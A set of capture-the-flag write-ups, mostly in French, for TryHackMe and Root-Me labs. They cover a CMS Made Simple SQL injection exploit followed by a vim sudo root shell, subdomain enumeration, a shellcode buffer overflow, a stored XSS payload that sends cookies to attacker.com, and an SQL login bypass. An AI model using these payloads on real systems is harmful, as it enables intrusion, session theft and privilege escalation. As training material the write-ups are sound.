TryHackMe – Simple CTF

Catégorie : FTP / CMS Made Simple / Privilege escalation

CMS Made Simple sur la machine ; on trouve des identifiants qui donnent accès SSH. Avec Vim et GTFOBins on obtient root.

NMAP

Scan des ports : FTP (21), HTTP (80), SSH (2222) ouverts.

nmap -p- -sV -sC -T4 -o nmap_scan <MachineIp>

Résumé : vsftpd 3.0.3 (FTP anonyme autorisé), Apache 2.4.18, OpenSSH 7.2p2 sur 2222.

FTP

Connexion en anonyme, récupération de ForMitch.txt dans /pub :

ftp <MachineIp>
Name: anonymous
cd pub
get ForMitch.txt

Le fichier indique qu'un utilisateur système a le même mot de passe (faible) et qu'il a été cracké en quelques secondes.

HTTP – Gobuster

Énumération des répertoires :

gobuster dir -u http://<MachineIp> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 15

Découverte de /simple (301) — CMS Made Simple. La version est visible dans le footer.

CMS Made Simple – CVE-2019-9053

Injection SQL affectant ce CMS. Exploit pour extraire hash utilisateur et crack avec wordlist :

python CVE-2019-9053.py -u http://<MachineIp>/simple/ --crack -w /usr/share/wordlists/rockyou.txt

On obtient l'utilisateur mitch et son mot de passe. Les identifiants du panel CMS peuvent ne pas fonctionner ; utiliser les mêmes pour SSH.

SSH – User

Connexion avec les identifiants trouvés (port 2222) :

ssh mitch@<MachineIp> -p 2222

Récupération du flag user.txt.

Privilege escalation

Vérification des commandes autorisées sans mot de passe :

sudo -l

/usr/bin/vim est exécutable en sudo. Utiliser GTFOBins – vim pour obtenir un shell root :

sudo vim -c ':!/bin/sh'

Récupération du flag root.txt.

TryHackMe – TakeOver

Catégorie : Recon / Subdomain enumeration

Important points

This room is about subdomain enumeration. Add futurevera.thm in /etc/hosts. I am including all the steps I took to solve this machine whether it was fruitful or not.

Check the web page

What I noticed:

  • Getting SSL error.
  • No interesting directory.
  • Nothing interesting in the source code.
  • Nothing in .js files.
  • Nothing in Certificate (at this stage).

Fuzzing for subdomains using ffuf (HTTP)

ffuf -u http://{MachineIp}/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Host: FUZZ.futurevera.thm' -fs {size}

This command gave me two subdomains. Both of them had a message on the screen saying: {subdomain}.futurevera.thm is only available via internal VPN.

Got nothing important while enumerating directories or files.

Enumerating new subdomains (HTTPS)

After trying different wordlists to fuzz the subdomain, I ran the same ffuf command but with https this time. It gave me two new subdomains.

Nothing in directory enumeration. Nothing important in source code either. But this time, there is something in View Certificate.

Flag

Take a look at the certificates for both the subdomains: you will see one more subdomain in the Subject Alt Names.

If you don't know how to do this (Firefox):

  1. Click on the lock icon in the search bar with a warning sign.
  2. Click on Connection not secure.
  3. Click on More Information.
  4. Click on View Certificate.

Add this new found subdomain in your /etc/hosts.

curl --head https://{subdomain}.futurevera.thm

Your flag will be in the Location header.

Done.

TryHackMe – Buffer Overflow 101

Catégorie : Binary Exploitation

Contexte

Introduction aux buffer overflows sur architecture x86. Le binaire vulnérable utilise des fonctions non sécurisées comme gets() et strcpy().

Analyse du binaire

Vérification des protections avec checksec :

$ checksec vuln
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:       No PIE

Exploitation

Calcul de l'offset et génération du payload :

from pwn import *

offset = 76
shellcode = asm(shellcraft.sh())
payload = shellcode + b'A' * (offset - len(shellcode)) + p32(0xffffd5b0)

p = process('./vuln')
p.sendline(payload)
p.interactive()

Conclusion

Les protections modernes (ASLR, NX, stack canaries) rendent ces attaques plus complexes mais pas impossibles. Toujours utiliser des fonctions sécurisées.

Root-Me – XSS Stored #1

Catégorie : Web Client

Contexte

Ce challenge présente une application web vulnérable aux attaques XSS stockées. L'objectif est de récupérer le cookie de l'administrateur via une injection JavaScript.

Reconnaissance

L'application dispose d'un formulaire de commentaires qui affiche les messages sans filtrage. Les entrées utilisateur sont directement insérées dans le DOM.

Exploitation

Payload utilisé pour exfiltrer le cookie :

<script>
document.location='http://attacker.com/steal?c='+document.cookie;
</script>

Impact & Conclusion

Cette vulnérabilité permet le vol de session administrateur. Mitigation : encoder les sorties HTML et implémenter une CSP stricte.

Analyse de trafic PCAP – Credentials leak

Catégorie : Forensics

Contexte

Un fichier PCAP contenant du trafic réseau suspect. L'objectif est d'extraire des credentials transmis en clair.

Analyse avec Wireshark

Filtrage du trafic HTTP pour identifier les requêtes POST :

http.request.method == "POST"

Identification d'une requête de login vers /api/auth avec les paramètres username et password visibles en clair.

Extraction

Credentials récupérés :

Username: admin
Password: Sup3rS3cr3t!2024

Conclusion

Toujours utiliser HTTPS pour les transmissions sensibles. Les protocoles en clair exposent les données à toute interception réseau.

Root-Me – SQL Injection

Catégorie : Web Server

Contexte

Une application web avec un formulaire de connexion vulnérable aux injections SQL. L'objectif est de contourner l'authentification et récupérer le flag.

Découverte de la vulnérabilité

Test avec une simple quote dans le champ username :

admin'

L'application retourne une erreur SQL, confirmant la vulnérabilité.

Exploitation

Payload classique pour bypass l'authentification :

' OR '1'='1' --

Cette injection transforme la requête SQL en une condition toujours vraie, permettant de se connecter sans mot de passe valide.

Conclusion

Toujours utiliser des requêtes préparées (prepared statements) pour éviter les injections SQL. Ne jamais concaténer directement les entrées utilisateur.